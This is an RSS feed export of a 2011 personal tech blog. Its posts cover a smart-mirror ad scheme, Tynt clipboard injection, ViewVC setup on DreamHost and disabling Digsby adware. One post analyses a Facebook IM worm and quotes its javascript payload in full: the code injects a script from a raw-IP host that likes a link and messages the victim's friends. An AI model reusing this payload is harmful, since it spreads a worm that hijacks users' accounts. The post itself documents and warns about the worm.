<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>Bat Country</title>
	<atom:link href="http://steelpangolin.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://steelpangolin.wordpress.com</link>
	<description>the adventures of Jeremy Ehrhardt and his motley crew of bits</description>
	<lastBuildDate>Tue, 29 Nov 2011 17:56:20 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='steelpangolin.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://s2.wp.com/i/buttonw-com.png</url>
		<title>Bat Country</title>
		<link>http://steelpangolin.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://steelpangolin.wordpress.com/osd.xml" title="Bat Country" />
	<atom:link rel='hub' href='http://steelpangolin.wordpress.com/?pushpress=hub'/>
		<item>
		<title>failure of imagination</title>
		<link>http://steelpangolin.wordpress.com/2011/11/29/failure-of-imagination/</link>
		<comments>http://steelpangolin.wordpress.com/2011/11/29/failure-of-imagination/#comments</comments>
		<pubDate>Tue, 29 Nov 2011 17:50:33 +0000</pubDate>
		<dc:creator>Jeremy</dc:creator>
				<category><![CDATA[blog]]></category>

		<guid isPermaLink="false">http://steelpangolin.wordpress.com/?p=166</guid>
		<description><![CDATA[Mirror, mirror: The New York Times wants to serve you info as you’re brushing your teeth It&#8217;s another smart house scheme that lives in your bathroom mirror and tracks your prescriptions by RFID. I got almost this exact pitch when I toured Microsoft Research&#8217;s demo smart house as a Microsoft intern in 2008. So what&#8217;s [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=steelpangolin.wordpress.com&amp;blog=277318&amp;post=166&amp;subd=steelpangolin&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.niemanlab.org/2011/08/mirror-mirror-the-new-york-times-wants-to-serve-you-info-as-youre-brushing-your-teeth/" rel="bookmark">Mirror, mirror: The New York Times wants to serve you info as you’re brushing your teeth</a></p>
<p>It&#8217;s <em>another</em> smart house scheme that lives in your bathroom mirror and tracks your prescriptions by RFID. I got almost this exact pitch when I toured Microsoft Research&#8217;s demo smart house as a Microsoft intern in 2008. So what&#8217;s new? It&#8217;s an ad platform:</p>
<blockquote><p>And it’s also a retail opportunity. So, say, based on my use of this product, that a local retailer wants to promote something to me.</p>
<p>“Mirror: show coupon.”<br />
“Mirror: show coupon.”</p>
<p>I can call up a coupon here, and then save it to my phone, and then go to a physical location to redeem it. So, again, it’s a conversation that happens in front of the mirror, but then it can drive behavior elsewhere, out in the world.</p></blockquote>
<p>Hey. <a href="http://brianhouse.net/">Creative Technologist for R&amp;D Brian House</a>. This is 2011. In the event that I do purchase a magic mirror that shows me ads, and I see something I like, I&#8217;m not gonna bother asking it for a coupon, OBEXing or mailing or whatevering it to my phone, and then going to some brick and mortar store with it. Technology is supposed to save time! I&#8217;m gonna order the thing from Amazon and get it in the mail.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/steelpangolin.wordpress.com/166/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/steelpangolin.wordpress.com/166/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/steelpangolin.wordpress.com/166/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/steelpangolin.wordpress.com/166/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/steelpangolin.wordpress.com/166/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/steelpangolin.wordpress.com/166/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/steelpangolin.wordpress.com/166/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/steelpangolin.wordpress.com/166/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/steelpangolin.wordpress.com/166/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/steelpangolin.wordpress.com/166/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/steelpangolin.wordpress.com/166/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/steelpangolin.wordpress.com/166/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/steelpangolin.wordpress.com/166/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/steelpangolin.wordpress.com/166/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=steelpangolin.wordpress.com&amp;blog=277318&amp;post=166&amp;subd=steelpangolin&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://steelpangolin.wordpress.com/2011/11/29/failure-of-imagination/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/5cacf15a5ad77a57d2b35839b099d0ed?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">steelpangolin</media:title>
		</media:content>
	</item>
		<item>
		<title>Clipboard spam</title>
		<link>http://steelpangolin.wordpress.com/2011/09/02/clipboard-spam/</link>
		<comments>http://steelpangolin.wordpress.com/2011/09/02/clipboard-spam/#comments</comments>
		<pubDate>Fri, 02 Sep 2011 20:14:57 +0000</pubDate>
		<dc:creator>Jeremy</dc:creator>
				<category><![CDATA[code]]></category>

		<guid isPermaLink="false">http://steelpangolin.wordpress.com/?p=161</guid>
		<description><![CDATA[Talking to friends in IRC just now, someone pasted content from the SF Gate which had a Read More link attached that wasn&#8217;t in the original page. I went to the page and couldn&#8217;t replicate that behavior. A little digging revealed that a Tynt script attaches an oncopy event handler that puts that extra crap [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=steelpangolin.wordpress.com&amp;blog=277318&amp;post=161&amp;subd=steelpangolin&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Talking to friends in IRC just now, someone pasted content from the SF Gate which had a Read More link attached that wasn&#8217;t in the original page. I went to the page and couldn&#8217;t replicate that behavior. A little digging revealed that a <a href="http://www.tynt.com/publisher-tools">Tynt</a> script attaches an <a href="https://developer.mozilla.org/en/DOM/element.oncopy">oncopy</a> event handler that puts that extra crap in, and that the <a href="http://www.ghostery.com/">Ghostery</a> Firefox extension was blocking Tynt on my own machine. Thanks, Ghostery!</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/steelpangolin.wordpress.com/161/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/steelpangolin.wordpress.com/161/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/steelpangolin.wordpress.com/161/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/steelpangolin.wordpress.com/161/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/steelpangolin.wordpress.com/161/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/steelpangolin.wordpress.com/161/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/steelpangolin.wordpress.com/161/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/steelpangolin.wordpress.com/161/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/steelpangolin.wordpress.com/161/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/steelpangolin.wordpress.com/161/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/steelpangolin.wordpress.com/161/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/steelpangolin.wordpress.com/161/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/steelpangolin.wordpress.com/161/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/steelpangolin.wordpress.com/161/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=steelpangolin.wordpress.com&amp;blog=277318&amp;post=161&amp;subd=steelpangolin&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://steelpangolin.wordpress.com/2011/09/02/clipboard-spam/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/5cacf15a5ad77a57d2b35839b099d0ed?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">steelpangolin</media:title>
		</media:content>
	</item>
		<item>
		<title>new variant of Facebook April Fool&#8217;s IM worm</title>
		<link>http://steelpangolin.wordpress.com/2011/04/06/new-variant-of-facebook-april-fools-im-worm/</link>
		<comments>http://steelpangolin.wordpress.com/2011/04/06/new-variant-of-facebook-april-fools-im-worm/#comments</comments>
		<pubDate>Thu, 07 Apr 2011 06:41:58 +0000</pubDate>
		<dc:creator>Jeremy</dc:creator>
				<category><![CDATA[code]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://steelpangolin.wordpress.com/?p=153</guid>
		<description><![CDATA[There&#8217;s a new variant of the Facebook April Fool&#8217;s worm going around. This one appears as an IM with the text &#8220;haha! hilarous http://fb.me/TzCxMrJW&#8221;; the page behind the URL shortener is http://apps.facebook.com/bullydown/ (taken down since I started writing this, see screenshot) which appears to be a Facebook video but actually loads some JavaScript using an [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=steelpangolin.wordpress.com&amp;blog=277318&amp;post=153&amp;subd=steelpangolin&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>There&#8217;s a new variant of the <a href="http://ashishb.net/uncategorized/a-preliminary-analysis-of-facebook-clickjacking-aprilfoolsprank/">Facebook April Fool&#8217;s worm</a> going around. This one appears as an IM with the text &#8220;haha! hilarous http://fb.me/TzCxMrJW&#8221;; the page behind the URL shortener is http://apps.facebook.com/bullydown/ (taken down since I started writing this, see screenshot) which appears to be a Facebook video but actually loads some JavaScript using an onclick handler:</p>
<blockquote>
<p>javascript:if(window.opener){ window.opener.document.body.appendChild(document.createElement(&#8216;script&#8217;)).src=&#8217;http://173.231.144.82/fb.js?like_link=http://winterweddingfavor.info/bullypal/&amp;app_link=http://fb.me/TzCxMrJW&amp;embed_link=http://www.ebaumsworld.com/playerbeta.swf?id0=81417366&amp;im_text=haha! hilarous&#8217;; window.close(); }else{ document.body.appendChild(document.createElement(&#8216;script&#8217;)).src=&#8217;http://173.231.144.82/fb.js?like_link=http://winterweddingfavor.info/bullypal/&amp;app_link=http://fb.me/TzCxMrJW&amp;embed_link=http://www.ebaumsworld.com/playerbeta.swf?id0=81417366&amp;im_text=haha! hilarous&#8217;; }</p>
</blockquote>
<p><a href="http://steelpangolin.files.wordpress.com/2011/04/tangodown.png"><img class="aligncenter size-full wp-image-155" title="tangodown" src="http://steelpangolin.files.wordpress.com/2011/04/tangodown.png?w=510&#038;h=331" alt="Facebook Bully Down worm" width="510" height="331" /></a>Whatever it loads seems to Facebook Like the link http://winterweddingfavor.info/bullypal/ and then IM your friends. I got three messages in a short span of time. Not sure what&#8217;s required to send IMs through Facebook, might be it uses a fake login page to steal credentials like other variants.</p>
<p style="font-size:29.25px;line-height:42.75px;">&nbsp;</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/steelpangolin.wordpress.com/153/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/steelpangolin.wordpress.com/153/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/steelpangolin.wordpress.com/153/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/steelpangolin.wordpress.com/153/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/steelpangolin.wordpress.com/153/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/steelpangolin.wordpress.com/153/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/steelpangolin.wordpress.com/153/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/steelpangolin.wordpress.com/153/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/steelpangolin.wordpress.com/153/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/steelpangolin.wordpress.com/153/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/steelpangolin.wordpress.com/153/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/steelpangolin.wordpress.com/153/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/steelpangolin.wordpress.com/153/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/steelpangolin.wordpress.com/153/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=steelpangolin.wordpress.com&amp;blog=277318&amp;post=153&amp;subd=steelpangolin&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://steelpangolin.wordpress.com/2011/04/06/new-variant-of-facebook-april-fools-im-worm/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/5cacf15a5ad77a57d2b35839b099d0ed?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">steelpangolin</media:title>
		</media:content>

		<media:content url="http://steelpangolin.files.wordpress.com/2011/04/tangodown.png" medium="image">
			<media:title type="html">tangodown</media:title>
		</media:content>
	</item>
		<item>
		<title>ViewVC on DreamHost, revisited</title>
		<link>http://steelpangolin.wordpress.com/2011/02/16/viewvc-on-dreamhost-revisited/</link>
		<comments>http://steelpangolin.wordpress.com/2011/02/16/viewvc-on-dreamhost-revisited/#comments</comments>
		<pubDate>Wed, 16 Feb 2011 11:51:45 +0000</pubDate>
		<dc:creator>Jeremy</dc:creator>
				<category><![CDATA[tips & tricks]]></category>
		<category><![CDATA[dreamhost]]></category>
		<category><![CDATA[fastcgi]]></category>
		<category><![CDATA[fcgi]]></category>
		<category><![CDATA[flup]]></category>
		<category><![CDATA[pygments]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[viewvc]]></category>
		<category><![CDATA[virtualenv]]></category>

		<guid isPermaLink="false">http://steelpangolin.wordpress.com/?p=143</guid>
		<description><![CDATA[While getting ready to install MoinMoin on bat-country.us to replace my current static pages, I noticed my ViewVC install was two years out of date. Readers seem to have found my writeup of the last time I installed ViewVC on DreamHost useful, so here&#8217;s an update. DreamHost&#8216;s standard environment now includes Python 2.5.2, virtualenv, and [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=steelpangolin.wordpress.com&amp;blog=277318&amp;post=143&amp;subd=steelpangolin&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>While getting ready to install <a href="http://moinmo.in/">MoinMoin</a> on <a href="http://bat-country.us/">bat-country.us</a> to replace my current static pages, I noticed my <a href="http://www.viewvc.org/">ViewVC</a> install was two years out of date. Readers seem to have found <a href="http://steelpangolin.wordpress.com/2008/12/30/7/">my writeup of the last time I installed ViewVC on DreamHost</a> useful, so here&#8217;s an update.</p>
<p><a href="http://www.dreamhost.com/">DreamHost</a>&#8216;s standard environment now includes <a href="http://www.python.org/download/releases/2.5.2/">Python 2.5.2</a>, <a href="http://pypi.python.org/pypi/virtualenv">virtualenv</a>, and Python bindings for <a href="http://subversion.apache.org/">Subversion</a> 1.5. This makes setting up ViewVC a good deal simpler than it used to be. This time around, I&#8217;ll be using <a href="http://www.fastcgi.com/">FastCGI</a> rather than classic CGI as the mechanism for getting Apache to talk to Python. I&#8217;d use <a href="http://wsgi.org/">WSGI</a>, the preferred method of running Python webapps, but <a href="http://wiki.dreamhost.com/Passenger_WSGI">WSGI is apparently a little flaky on DreamHost</a>.</p>
<p>Make sure <code>$HOME/bin</code> is in your <code>$PATH</code> environment variable before <code>/usr/bin</code>. My instructions below assume your working directory is <code>$HOME</code>.</p>
<p>Set up a Python virtualenv in your home directory, if you don&#8217;t have one already:<br />
$ <kbd>virtualenv $HOME</kbd></p>
<p>ViewVC uses <a href="http://www.saddi.com/software/flup/">Flup</a> for FastCGI support, and <a href="http://pygments.org/">Pygments</a> for syntax highlighting. Install Flup and Pygments into the virtualenv:<br />
$ <kbd>easy_install Flup</kbd><br />
$ <kbd>easy_install Pygments</kbd></p>
<p>Download and unpack the latest stable release of ViewVC (currently 1.1.8):<br />
$ <kbd>wget <a href="http://viewvc.tigris.org/files/documents/3330/48659/viewvc-1.1.8.tar.gz">http://viewvc.tigris.org/files/documents/3330/48659/viewvc-1.1.8.tar.gz</a></kbd><br />
$ <kbd>tar -xzf viewvc-1.1.8.tar.gz</kbd><br />
$ <kbd>rm viewvc-1.1.8.tar.gz</kbd></p>
<p>Run ViewVC&#8217;s installer script:<br />
$ <kbd>viewvc-1.1.8/viewvc-install --prefix=$HOME/viewvc</kbd></p>
<p>Delete the installer directory:<br />
$ <kbd>rm -rf viewvc-1.1.8</kbd></p>
<p>Configure <code>viewvc.conf</code> and the ViewVC templates to suit yourself, as per the <a href="http://viewvc.tigris.org/source/browse/*checkout*/viewvc/branches/1.1.x/INSTALL">ViewVC install instructions</a> and <a href="http://steelpangolin.wordpress.com/2008/12/30/7/">my previous post on ViewVC setup</a>. Remember to set up static content serving with the <code>docroot</code> option in <code>viewvc.conf</code> and the appropriate directory mapping.</p>
<p>Set up an <code>.htaccess</code> file in your domain folder to use Apache&#8217;s <strong>mod_rewrite</strong> for pretty URLs:<br />
<code><br />
RewriteEngine on<br />
RewriteRule ^code/(.*)$ viewvc.fcgi/$1<br />
RewriteRule ^code$ viewvc.fcgi/<br />
</code></p>
<p>Copy <code>viewvc.fcgi</code>, the FastCGI entry point to ViewVC, to your domain folder:<br />
$ <kbd>cp viewvc/bin/wsgi/viewvc.fcgi example.org/viewvc.fcgi</kbd></p>
<p>ViewVC&#8217;s installer script will automatically create a <code>viewvc.fcgi</code> that points to the Python interpreter in your virtualenv (the one that has Flup and Pygments installed), so you don&#8217;t need to edit the <code>#!</code> line. You will still need to add a line to <code>viewvc.fcgi</code> to set the <code>SCRIPT_NAME</code> environment variable to a URL that matches your <code>.htaccess</code> rewrite rules. Instead of changing <code>os.environ</code>, change <code>environ</code> inside the <code>application</code> function that is the Flup entry point:</p>
<pre><code>def application(environ, start_response):
  <span style="color:#008000;"><strong>environ['SCRIPT_NAME'] = '/code'</strong></span>
  server = sapi.WsgiServer(environ, start_response)
  cfg = viewvc.load_config(CONF_PATHNAME, server)
  viewvc.main(server, cfg)
  return []</code></pre>
<p>And with that, you&#8217;re in business. Took me less than half an hour, and that&#8217;s counting the time it took to write this.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/steelpangolin.wordpress.com/143/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/steelpangolin.wordpress.com/143/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/steelpangolin.wordpress.com/143/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/steelpangolin.wordpress.com/143/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/steelpangolin.wordpress.com/143/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/steelpangolin.wordpress.com/143/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/steelpangolin.wordpress.com/143/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/steelpangolin.wordpress.com/143/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/steelpangolin.wordpress.com/143/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/steelpangolin.wordpress.com/143/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/steelpangolin.wordpress.com/143/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/steelpangolin.wordpress.com/143/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/steelpangolin.wordpress.com/143/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/steelpangolin.wordpress.com/143/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=steelpangolin.wordpress.com&amp;blog=277318&amp;post=143&amp;subd=steelpangolin&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://steelpangolin.wordpress.com/2011/02/16/viewvc-on-dreamhost-revisited/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/5cacf15a5ad77a57d2b35839b099d0ed?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">steelpangolin</media:title>
		</media:content>
	</item>
		<item>
		<title>Digsby: useful, once you turn off the ads</title>
		<link>http://steelpangolin.wordpress.com/2011/02/14/digsby-useful-once-you-turn-off-the-ads/</link>
		<comments>http://steelpangolin.wordpress.com/2011/02/14/digsby-useful-once-you-turn-off-the-ads/#comments</comments>
		<pubDate>Tue, 15 Feb 2011 03:16:40 +0000</pubDate>
		<dc:creator>Jeremy</dc:creator>
				<category><![CDATA[tips & tricks]]></category>
		<category><![CDATA[digsby]]></category>
		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://steelpangolin.wordpress.com/?p=134</guid>
		<description><![CDATA[Adium is the alpha and omega of chat clients. It does everything right. Unfortunately, it only runs on Macs. I just can&#8217;t seem to find a good multiprotocol IM client for Windows. Way back in the dark ages, when Pidgin was GAIM 1.5 and the UI team hadn&#8217;t adopted their &#8220;our way or the highway&#8221; [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=steelpangolin.wordpress.com&amp;blog=277318&amp;post=134&amp;subd=steelpangolin&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><a href="http://adium.im/">Adium </a>is the alpha and omega of chat clients. It does everything right. Unfortunately, it only runs on Macs. I just can&#8217;t seem to find a good multiprotocol IM client for Windows.</p>
<p>Way back in the dark ages, when <a href="http://www.pidgin.im/">Pidgin</a> was GAIM 1.5 and the UI team hadn&#8217;t adopted their &#8220;our way or the highway&#8221; policy, I used that. But the Gtk+ interface always bugged me and GAIM 2.0 disabled a bunch of UI tweaks that I liked. There was a fork called Carrier or FunPidgin that re-enabled them, but like most annoyance-related forks, there wasn&#8217;t a lot of backing and it&#8217;s now long dead. So I kicked it to the curb and used <a href="http://www.miranda-im.org/">Miranda</a> for a while. Unfortunately, maintaining a Miranda install means dealing with at least a dozen plugins to provide features that should have been built in, like grouping a person&#8217;s multiple chat handles together (&#8220;metacontacts&#8221;), the ability to change smileys, a decent chat-history viewer, or a UI that doesn&#8217;t look like a throwback to Windows 95. Too much hassle.</p>
<p>Then I heard about <a href="http://www.digsby.com/">Digsby</a> somewhere. It&#8217;s not open source. It&#8217;s actually kind of unclear what their business model is. However, in terms of feature set, it&#8217;s the closest thing to Adium you can get on Windows, with the notable exceptions of <a href="http://digsbies.org/site/content/wishlist/otr-support">OTR encryption</a> and <a href="http://digsbies.org/site/content/wishlist/irc-support">IRC support</a>. It supports metacontacts, it works with Facebook messaging (always surprised by how many people use that), it has a decent message display, and it can be configured to be quite unobtrusive, a major selling point for me. Part of that configuration is turning off all the crap they ship with it. Honestly, I hate ad-supported free stuff, and I hate installers that carry a crapware payload even more. If it&#8217;s good, just make it payware. I&#8217;ll buy it. If it&#8217;s not good, I&#8217;m not going to put up with ads because it&#8217;s free &#8211; there are plenty of other freeware and OSS products out there that are usable.</p>
<p>To the credit of Digsby&#8217;s developers, you can turn off the various user-exploitation features! Here&#8217;s how.</p>
<p>There&#8217;s a constantly varying crapware payload in the Digsby installer: last time I installed Digsby, it was the <a title="How to uninstall the Ask.com toolbar" href="http://about.ask.com/apn/toolbar/docs/default/faq/en/ie/index.html#na4">Ask.com toolbar</a> (link goes to uninstall directions). Real useful. Ask.com&#8217;s installer screen has the checkboxes for &#8220;Yes, please install this useless piece of data-harvesting crap&#8221; pre-checked, so don&#8217;t blindly click through.</p>
<p>Once you&#8217;ve got Digsby installed, open Digsby&#8217;s <strong>Preferences </strong>window from the <strong>systray icon</strong> or the <strong>Tools menu</strong> (shown):</p>
<p style="text-align:center;"><a href="http://steelpangolin.files.wordpress.com/2011/02/digsby-prefs.png"><img class="aligncenter size-full wp-image-138" title="Location of Digsby's Preferences window" src="http://steelpangolin.files.wordpress.com/2011/02/digsby-prefs.png?w=510" alt="Location of Digsby's Preferences window"   /></a></p>
<p style="text-align:left;">The newest publicly available version of Digsby added ads under every conversation window; that&#8217;s what pissed me off enough to go looking for some way to kill them. In the <strong>Conversations </strong>pane, uncheck the box next to &#8220;<strong>Support Digsby development by showing an ad in the IM window</strong>&#8220;.</p>
<p style="text-align:left;"><a href="http://steelpangolin.files.wordpress.com/2011/02/digsby-disable-ads.png"><img class="aligncenter size-full wp-image-135" title="Location of checkbox to disable Digsby's conversation window ads" src="http://steelpangolin.files.wordpress.com/2011/02/digsby-disable-ads.png?w=510&#038;h=382" alt="Location of checkbox to disable Digsby's conversation window ads" width="510" height="382" /></a></p>
<p style="text-align:left;">I want to smack anyone who sends emails ending with &#8220;<a href="http://www.tuaw.com/2007/07/20/iphone-101-updating-your-sent-from-my-iphone-email-signature/">sent from my iPhone</a>&#8221; (or BlackBerry, or Hotmail account, or whatever). I prefer my messages unbranded, thanks. Digsby does some similar self-promotion in your AIM profile. In the <strong>General &amp; Profile</strong> pane, uncheck the box next to &#8220;<strong>Promote Digsby in my AIM profile</strong>&#8220;.</p>
<p style="text-align:left;"><a href="http://steelpangolin.files.wordpress.com/2011/02/digsby-disable-ads.png"></a><a href="http://steelpangolin.files.wordpress.com/2011/02/digsby-disable-promo.png"><img class="aligncenter size-full wp-image-136" title="digsby-disable-promo" src="http://steelpangolin.files.wordpress.com/2011/02/digsby-disable-promo.png?w=510&#038;h=382" alt="" width="510" height="382" /></a></p>
<p style="text-align:left;">And then there&#8217;s the most insidious piece: Digsby uses <a href="http://www.pluraprocessing.com/">Plura&#8217;s platform</a> to <a href="http://wiki.digsby.com/doku.php?id=cpuusage">appropriate your CPU cycles for commercial purposes</a>. This is one step away from botnet membership, and it uses the same  verbiage as legitimate volunteer grid computing like <a href="http://boinc.berkeley.edu/">BOINC</a> (the platform that powers <a href="http://setiathome.berkeley.edu/">SETI@home</a>). In the <strong>Research Module</strong> pane, uncheck the box next to &#8220;<strong>Allow Digsby to use CPU time to conduct research</strong>&#8220;. Maybe some day, commercial grid computing will advance to the point where I can make more money by running it than it costs to power the machines it&#8217;s running on, but on that day, the money better be going to <em>me</em>, not whoever landed a parasite program on my computer first.</p>
<p style="text-align:left;"><a href="http://steelpangolin.files.wordpress.com/2011/02/digsby-disable-research-module.png"><img class="aligncenter size-full wp-image-137" title="digsby-disable-research-module" src="http://steelpangolin.files.wordpress.com/2011/02/digsby-disable-research-module.png?w=510&#038;h=382" alt="" width="510" height="382" /></a></p>
<p style="text-align:left;">With this junk disabled, Digsby is a nice little multiprotocol messenger program.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/steelpangolin.wordpress.com/134/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/steelpangolin.wordpress.com/134/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/steelpangolin.wordpress.com/134/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/steelpangolin.wordpress.com/134/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/steelpangolin.wordpress.com/134/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/steelpangolin.wordpress.com/134/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/steelpangolin.wordpress.com/134/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/steelpangolin.wordpress.com/134/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/steelpangolin.wordpress.com/134/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/steelpangolin.wordpress.com/134/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/steelpangolin.wordpress.com/134/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/steelpangolin.wordpress.com/134/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/steelpangolin.wordpress.com/134/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/steelpangolin.wordpress.com/134/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=steelpangolin.wordpress.com&amp;blog=277318&amp;post=134&amp;subd=steelpangolin&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://steelpangolin.wordpress.com/2011/02/14/digsby-useful-once-you-turn-off-the-ads/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/5cacf15a5ad77a57d2b35839b099d0ed?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">steelpangolin</media:title>
		</media:content>

